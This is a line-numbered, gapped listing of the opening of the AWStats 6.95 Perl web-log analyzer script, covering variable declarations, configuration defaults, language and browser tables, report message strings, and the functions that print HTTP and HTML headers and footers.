2
#------------------------------------------------------------------------------
3
# Free realtime web server logfile analyzer to show advanced web statistics.
4
# Works from command line or as a CGI. You must use this script as often as
5
# necessary from your scheduler to update your statistics and from command
6
# line or a browser to read report results.
7
# See AWStats documentation (in docs/ directory) for all setup instructions.
8
#------------------------------------------------------------------------------
9
# $Revision: 1.943 $ - $Author: eldy $ - $Date: 2009/10/10 12:36:38 $
13
#use warnings; # Must be used in test mode only. This reduce a little process speed
14
#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed
18
; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
22
#------------------------------------------------------------------------------
24
#------------------------------------------------------------------------------
25
use vars qw/ $REVISION $VERSION /;
26
$REVISION = '$Revision: 1.943 $';
27
$REVISION =~ /\s(.*)\s/;
29
$VERSION = "6.95 (build $REVISION)";
31
# ----- Constants -----
33
$DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE
34
$LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE
35
$WIDTHCOLICON $TOOLTIPON
36
$lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate
40
; # Force debug level to log lesser level into debug.log file (Keep this value to 0)
41
$NBOFLINESFORBENCHMARK = 8192
42
; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2)
43
$FRAMEWIDTH = 240; # Width of left frame when UseFramesWhenCGI is on
44
$NBOFLASTUPDATELOOKUPTOSAVE =
45
500; # Nb of records to save in DNS last update cache file
47
5000; # Nb of records in data arrays after how we need to flush data on disk
48
$NEWDAYVISITTIMEOUT = 764041; # Delay between 01-23:59:59 and 02-00:00:00
50
; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000)
51
$NOTSORTEDRECORDTOLERANCE = 20000
52
; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
54
$TOOLTIPON = 0; # Tooltips plugin loaded
55
$NOHTML = 0; # Suppress the html headers
57
# ----- Running variables -----
61
$DebugResetDone $DNSLookupAlreadyDone
62
$RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent
63
$LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate
67
$TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown
68
$TotalPages $TotalHits $TotalBytes
69
$TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes
70
$TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages
71
$TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords
72
$TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer
73
$FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired
74
$QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent
75
$pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size
76
$pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken
77
$pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra
79
$DIR = $PROG = $Extension = '';
80
$Debug = $ShowSteps = 0;
81
$DebugResetDone = $DNSLookupAlreadyDone = 0;
82
$RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0;
83
$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
88
$TotalUnique = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0;
89
$TotalPages = $TotalHits = $TotalBytes = 0;
90
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
91
$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0;
92
$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0;
93
$TotalDifferentKeywords = 0;
94
$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0;
95
$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
97
$FrameName, $Center, $FileConfig, $FileSuffix,
98
$Host, $YearRequired, $MonthRequired, $DayRequired,
99
$HourRequired, $QueryString, $SiteConfig, $StaticLinks,
100
$PageCode, $PageDir, $PerlParsingFormat, $UserAgent
102
= ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' );
104
# ----- Plugins variable -----
105
use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /;
108
$AtLeastOneSectionPlugin = 0;
110
# ----- Time vars -----
113
$nowtime $tomorrowtime
114
$nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear
115
$nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns
116
$StartSeconds $StartMicroseconds
118
$StartSeconds = $StartMicroseconds = 0;
120
# ----- Variables for config file reading -----
124
$FoundNotPageList = 0;
126
# ----- Config file variables -----
130
$DNSLastUpdateCacheFile
135
$MaxLengthOfStoredURL
140
$ExtraTrackedRowsLimit
145
$DNSStaticCacheFile = 'dnscache.txt';
146
$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt';
147
$MiscTrackerUrl = '/js/awstats_misc_tracker.js';
149
$SectionsToBeSaved = 'all';
150
$MaxRowsInHTMLOutput = 1000;
151
$MaxLengthOfShownURL = 64;
152
$MaxLengthOfStoredURL = 256; # Note: Apache LimitRequestLine is default to 8190
153
$MaxLengthOfStoredUA = 256;
167
$BuildReportFormat = 'html';
168
$BuildHistoryFormat = 'text';
169
$ExtraTrackedRowsLimit = 500;
170
$DatabaseBreak = 'month';
172
$DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly
173
$BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles
174
$NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfOldLines $NbOfNewLines
175
$NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords
176
$ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs
177
$ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats
178
$ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats
179
$IncludeInternalLinksInOriginSection
180
$AuthenticatedUsersNotCaseSensitive
181
$Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery
186
$AllowToUpdateStatsFromBrowser,
187
$EnableLockForUpdate,
189
$AllowAccessFromWebToAuthenticatedUsersOnly,
192
$CreateDirDataIfNotExists,
193
$KeepBackupOfHistoricFiles,
201
$NbOfLinesForCorruptedLog,
209
$ShowAuthenticatedUsers,
211
$ShowScreenSizeStats,
212
$ShowSMTPErrorsStats,
217
$IncludeInternalLinksInOriginSection,
218
$AuthenticatedUsersNotCaseSensitive,
222
$URLNotCaseSensitive,
224
$URLReferrerWithQuery,
228
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
229
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
232
$DetailedReportsOnNewWindows
233
$FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone
234
$WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI
235
$ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats
236
$ShowHoursStats $ShowDomainsStats $ShowHostsStats
237
$ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats
238
$ShowOSStats $ShowBrowsersStats $ShowOriginStats
239
$ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats
240
$AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
243
$DetailedReportsOnNewWindows,
245
$KeyWordsNotSensitive,
246
$SaveDatabaseFilesWithPermissionsForEveryone,
253
$ShowDaysOfMonthStats,
254
$ShowDaysOfWeekStats,
265
$ShowKeyphrasesStats,
268
$ShowHTTPErrorsStats,
269
$AddDataArrayMonthStats,
270
$AddDataArrayShowDaysOfMonthStats,
271
$AddDataArrayShowDaysOfWeekStats,
272
$AddDataArrayShowHoursStats
275
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
276
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
280
$LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze
281
$LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
284
$AllowFullYearView, $LevelForRobotsDetection,
285
$LevelForWormsDetection, $LevelForBrowsersDetection,
286
$LevelForOSDetection, $LevelForRefererAnalyze,
287
$LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
288
$LevelForKeywordsDetection
290
= ( 2, 2, 0, 2, 2, 2, 2, 2, 2 );
292
$DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName
293
$AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs
294
$LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain
295
$UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
299
$DirConfig, $DirData,
301
$AWScript, $ArchiveFileName,
302
$AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
303
$HTMLEndSection, $LinksToWhoIs,
304
$LinksToIPWhoIs, $LogFile,
305
$LogType, $LogFormat,
306
$LogSeparator, $Logo,
307
$LogoLink, $StyleSheet,
308
$WrapperScript, $SiteDomain,
309
$UseHTTPSLinkForUrl, $URLQuerySeparators,
310
$URLWithAnchor, $ErrorMessages,
314
'', '', '', '', '', '', '', '', '', '', '', '', '', '',
315
'', '', '', '', '', '', '', '', '', '', '', '', ''
318
$color_Background $color_TableBG $color_TableBGRowTitle
319
$color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle
320
$color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other
321
$color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
324
$color_Background, $color_TableBG, $color_TableBGRowTitle,
325
$color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
326
$color_TableTitle, $color_text, $color_textpercent,
327
$color_titletext, $color_weekend, $color_link,
328
$color_hover, $color_other, $color_h,
329
$color_k, $color_p, $color_e,
330
$color_x, $color_s, $color_u,
334
'', '', '', '', '', '', '', '', '', '', '', '',
335
'', '', '', '', '', '', '', '', '', ''
338
# ---------- Init arrays --------
340
@RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen
341
@SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen
342
@BrowsersSearchIDOrder @OSSearchIDOrder @WordsToExtractSearchUrl @WordsToCleanSearchUrl
344
@RobotsSearchIDOrder @SearchEnginesSearchIDOrder
346
@_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k
347
@DOWIndex @fieldlib @keylist
349
@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = ();
350
@_from_p = @_from_h = ();
351
@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = ();
352
@DOWIndex = @fieldlib = @keylist = ();
354
@MiscListOrder %MiscListCalc
355
%OSFamily %BrowsersFamily @SessionsRange %SessionsAverage
356
%LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %SafariBuildToVersion
357
@HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers
358
@DefaultFile @SkipDNSLookupFor
359
@SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles
360
@OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers
361
@URLWithQueryWithOnly @URLWithQueryWithout
362
@ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra
363
@ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat
364
@ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal
365
@ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal
366
@ExtraAddAverageRow @ExtraAddSumRow
370
'AddToFavourites', 'JavascriptDisabled',
371
'JavaEnabled', 'DirectorSupport',
372
'FlashSupport', 'RealPlayerSupport',
373
'QuickTimeSupport', 'WindowsMediaPlayerSupport',
378
'AddToFavourites' => 'u',
379
'JavascriptDisabled' => 'hm',
380
'JavaEnabled' => 'hm',
381
'DirectorSupport' => 'hm',
382
'FlashSupport' => 'hm',
383
'RealPlayerSupport' => 'hm',
384
'QuickTimeSupport' => 'hm',
385
'WindowsMediaPlayerSupport' => 'hm',
390
'mac' => 'Macintosh',
405
( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' );
407
'0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210,
408
'5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
412
# HTTP-Accept or Lang parameter => AWStats code to use for lang
413
# ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1
414
%LangBrowserToLangAwstats = (
458
%LangAWStatsToFlagAwstats =
459
( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
471
# TODO Remove this old array for an old way to detect Safari version
472
%SafariBuildToVersion = (
487
'312.3.1' => '1.3.1',
498
'417.9.2' => '2.0.3',
499
'417.9.3' => '2.0.3',
508
'525.20.1' => '3.1.2',
512
'525.26.13' => '3.2',
514
'525.27.1' => '3.2.1',
519
@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
520
@DefaultFile = @SkipDNSLookupFor = ();
521
@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
522
@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = ();
523
@URLWithQueryWithOnly = @URLWithQueryWithout = ();
524
@ExtraName = @ExtraCondition = @ExtraStatTypes = ();
525
@MaxNbOfExtra = @MinHitExtra = ();
526
@ExtraFirstColumnTitle = @ExtraFirstColumnValues = ();
527
@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
528
@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
529
@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
530
@ExtraAddAverageRow = @ExtraAddSumRow = ();
533
# ---------- Init hash arrays --------
535
%BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers
537
%MimeHashLib %MimeHashIcon %MimeHashFamily
539
%RobotsHashIDLib %RobotsAffiliateLib
540
%SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys
541
%WormsHashID %WormsHashLib %WormsHashTarget
544
%HTMLOutput %NoLoadPlugin %FilterIn %FilterEx
547
%ValidHTTPCodes %ValidSMTPCodes
548
%TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits
550
%ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile
552
%TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable
554
%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = ();
555
%BadFormatWarning = ();
557
%ValidHTTPCodes = %ValidSMTPCodes = ();
558
%TrapInfosForHTTPErrorCodes = ();
559
$TrapInfosForHTTPErrorCodes{404} = 1; # TODO Add this in config file
561
%DayBytes = %DayHits = %DayPages = %DayVisits = ();
562
%MaxNbOf = %MinHit = ();
563
%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = ();
564
%val = %nextval = %egal = ();
565
%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
569
%MonthHostsKnown %MonthHostsUnknown
570
%MonthUnique %MonthVisits
571
%MonthPages %MonthHits %MonthBytes
572
%MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes
573
%_session %_browser_h
574
%_domener_p %_domener_h %_domener_k %_errors_h %_errors_k
575
%_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out
576
%_host_p %_host_h %_host_k %_host_l %_host_s %_host_u
577
%_waithost_e %_waithost_l %_waithost_s %_waithost_u
578
%_keyphrases %_keywords %_os_h %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r
579
%_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h
580
%_misc_p %_misc_h %_misc_k
581
%_cluster_p %_cluster_h %_cluster_k
582
%_se_referrals_p %_se_referrals_h %_sider404_h %_referer404_h %_url_p %_url_k %_url_e %_url_x
583
%_unknownreferer_l %_unknownrefererbrowser_l
584
%_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l
588
# ---------- Init Regex --------
589
use vars qw/ $regclean1 $regclean2 $regdate /;
590
$regclean1 = qr/<(recnb|\/td)>/i;
591
$regclean2 = qr/<\/?[^<>]+>/i;
592
$regdate = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/;
594
# ---------- Init Tie::hash arrays --------
595
# Didn't find a tie that increase speed
597
#use Tie::Cache::LRU;
598
#tie %_host_p, 'Tie::StdHash';
599
#tie %TmpOS, 'Tie::Cache::LRU';
602
use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /;
605
use vars qw/ @Message /;
608
'Unknown (unresolved ip)',
620
'different keywords',
631
'Never updated (See \'Build/Update\' on awstats_setup.html page)',
632
'Visitors domains/countries',
635
'different pages-url',
643
'Connect to site from',
645
'Direct address / Bookmarks',
647
'Links from an Internet Search Engine',
648
'Links from an external page (other web sites except search engines)',
649
'Links from an internal page (other page on same site)',
650
'Keyphrases used on search engines',
651
'Keywords used on search engines',
652
'Unresolved IP Address',
653
'Unknown OS (Referer field)',
654
'Required but not found URLs (HTTP code 404)',
657
'Unknown browsers (Referer field)',
660
'Robots/Spiders visitors',
661
'Free realtime logfile analyzer for advanced web statistics',
685
'dd mmm yyyy - HH:MM',
701
'Authenticated users',
708
'Compression result',
710
'different keyphrases',
714
'Links from a NewsGroup',
727
'Search Keyphrases',
728
'Search Keywords',
729
'different refering search engines',
730
'different refering sites',
732
'Other logins (and/or anonymous users)',
733
'Refering search engines',
736
'Exact value not available in "Year" view',
743
'Worm/Virus attacks',
744
'Hit on favorite icon',
747
'Browsers with Java support',
748
'Browsers with Macromedia Director Support',
749
'Browsers with Flash Support',
750
'Browsers with Real audio playing support',
751
'Browsers with Quictime audio playing support',
752
'Browsers with Windows Media audio playing support',
753
'Browsers with PDF support',
761
'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
763
'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
764
'Numbers after + are successful hits on "robots.txt" files',
765
'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
766
'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
768
'Traffic not viewed',
772
'Mails successfully sent',
773
'Mails failed/refused',
775
'Javascript disabled',
786
#------------------------------------------------------------------------------
788
#------------------------------------------------------------------------------
790
# Function to solve pb with openvms
793
foreach my $fl (@_) {
800
#------------------------------------------------------------------------------
801
# Function: Write on output header of HTTP answer
803
# Input: $HeaderHTTPSent $BuildReportFormat $PageCode $Expires
804
# Output: $HeaderHTTPSent=1
806
#------------------------------------------------------------------------------
808
if ( !$HeaderHTTPSent ) {
809
my $newpagecode = $PageCode ? $PageCode : "utf-8";
810
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
811
print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
812
? "Content-type: text/html; charset=$newpagecode\n"
813
: "Content-type: text/xml; charset=$newpagecode\n"
816
else { print "Content-type: text/html; charset=$newpagecode\n"; }
818
# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
819
if ( $Expires =~ /^\d+$/ ) {
820
print "Cache-Control: public\n";
821
print "Last-Modified: " . gmtime($starttime) . "\n";
822
print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n";
829
#------------------------------------------------------------------------------
830
# Function: Write on output header of HTML page
832
# Input: %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir
833
# Output: $HeaderHTMLSent=1
835
#------------------------------------------------------------------------------
837
my $dir = $PageDir ? 'right' : 'left';
838
if ($NOHTML) { return; }
839
if ( scalar keys %HTMLOutput || $PluginMode ) {
840
my $periodtitle = " ($YearRequired";
841
$periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" );
842
$periodtitle .= ( $DayRequired ne '' ? "-$DayRequired" : "" );
843
$periodtitle .= ( $HourRequired ne '' ? "-$HourRequired" : "" );
847
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
849
print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n";
851
else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; }
852
if ( $FrameName ne 'index' ) {
854
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n";
858
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n";
861
"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n";
864
if ( $FrameName ne 'index' ) {
866
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
870
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\">\n";
872
print '<html lang="' . $Lang . '"'
873
. ( $PageDir ? ' dir="rtl"' : '' ) . ">\n";
878
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
882
# Affiche tag meta generator
884
"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://awstats.sourceforge.net)\"$endtag\n";
886
# Affiche tag meta robots
888
print "<meta name=\"robots\" content=\""
889
. ( $FrameName eq 'mainleft' ? 'no' : '' )
891
. ( $FrameName eq 'mainleft'
892
|| $FrameName eq 'index' ? '' : 'no' )
893
. "follow\"$endtag\n";
896
print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n";
899
# Affiche tag meta content-type
900
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
901
print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
902
? "<meta http-equiv=\"content-type\" content=\"text/html; charset="
903
. ( $PageCode ? $PageCode : "iso-8859-1" )
905
: "<meta http-equiv=\"content-type\" content=\"text/xml; charset="
906
. ( $PageCode ? $PageCode : "iso-8859-1" )
912
"<meta http-equiv=\"content-type\" content=\"text/html; charset="
913
. ( $PageCode ? $PageCode : "iso-8859-1" )
918
print "<meta http-equiv=\"expires\" content=\""
919
. ( gmtime( $starttime + $Expires ) )
923
%HTMLOutput; # This is to have a unique title and description page
924
print "<meta http-equiv=\"description\" content=\""
926
. " - Advanced Web Statistics for $SiteDomain$periodtitle"
927
. ( $k[0] ? " - " . $k[0] : "" )
929
if ( $MetaRobot && $FrameName ne 'mainleft' ) {
931
"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n";
933
print "<title>$Message[7] $SiteDomain$periodtitle"
934
. ( $k[0] ? " - " . $k[0] : "" )
936
if ( $FrameName ne 'index' ) {
939
print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n";
942
# A STYLE section must be in head section. Do not use " for number in a style section
943
print "<style type=\"text/css\">\n";
944
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
946
print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
951
else { print "<!--\n"; }
953
if ( !$StyleSheet ) {
955
"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n";
956
print ".aws_bodyl { }\n";
958
".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px "
959
. ( $BuildReportFormat eq 'xhtml'
960
|| $BuildReportFormat eq 'xml' ? "2px" : "1px" )
961
. " 1px; margin-top: 0px; margin-bottom: 0px; }\n";
963
".aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n";
965
".aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n";
968
background-color: #$color_Background;
969
border-top-width: 1px;
970
border-left-width: 0px;
971
border-right-width: 0px;
972
border-bottom-width: 0px;
974
.aws_formfield { font: 13px verdana, arial, helvetica; }
976
font-family: arial,verdana,helvetica, sans-serif;
978
border: 1px solid #ccd7e0;
979
background-image : url($DirIcons/other/button.gif);
981
th { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; }
982
th.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; }
983
td { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; }
984
td.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;}
985
td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; }
986
b { font-weight: bold; }
987
a { font: 11px verdana, arial, helvetica, sans-serif; }
988
a:link { color: #$color_link; text-decoration: none; }
989
a:visited { color: #$color_link; text-decoration: none; }
990
a:hover { color: #$color_hover; text-decoration: underline; }
991
.currentday { font-weight: bold; }
995
# Call to plugins' function AddHTMLStyles
996
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } )
999
# my $function="AddHTMLStyles_$pluginname()";
1000
# eval("$function");
1001
my $function = "AddHTMLStyles_$pluginname";
1005
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
1007
print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
1012
else { print "//-->\n"; }
1016
# les scripts n�cessaires pour trier avec Tablekit
1017
# print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>";
1018
# print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>";
1019
# print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>";
1021
print "</head>\n\n";
1022
if ( $FrameName ne 'index' ) {
1023
print "<body style=\"margin-top: 0px\"";
1024
if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; }
1031
#------------------------------------------------------------------------------
1032
# Function: Write on output end of HTML page
1033
# Parameters: 0|1 (0=no list plugins,1=list plugins)
1034
# Input: %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat
1037
#------------------------------------------------------------------------------
1039
my $listplugins = shift || 0;
1040
if ( scalar keys %HTMLOutput ) {
1042
# Call to plugins' function AddHTMLBodyFooter
1043
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } )
1046
# my $function="AddHTMLBodyFooter_$pluginname()";
1047
# eval("$function");
1048
my $function = "AddHTMLBodyFooter_$pluginname";
1052
if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
1053
print "$Center<br /><br />\n";
1055
"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">";
1057
"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://awstats.sourceforge.net\" target=\"awstatshome\">";
1058
print $Message[169] . " $PROG";
1060
my $atleastoneplugin = 0;
1061
foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) {
1062
if ( !$atleastoneplugin ) {
1063
$atleastoneplugin = 1;
1064
print " ($Message[170]: ";
1066
else { print ", "; }
1067
print "$pluginname";
1069
if ($atleastoneplugin) { print ")"; }
1071
print "</a></span><br />\n";
1072
if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; }
1075
if ( $FrameName ne 'index' ) {
1076
if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) {
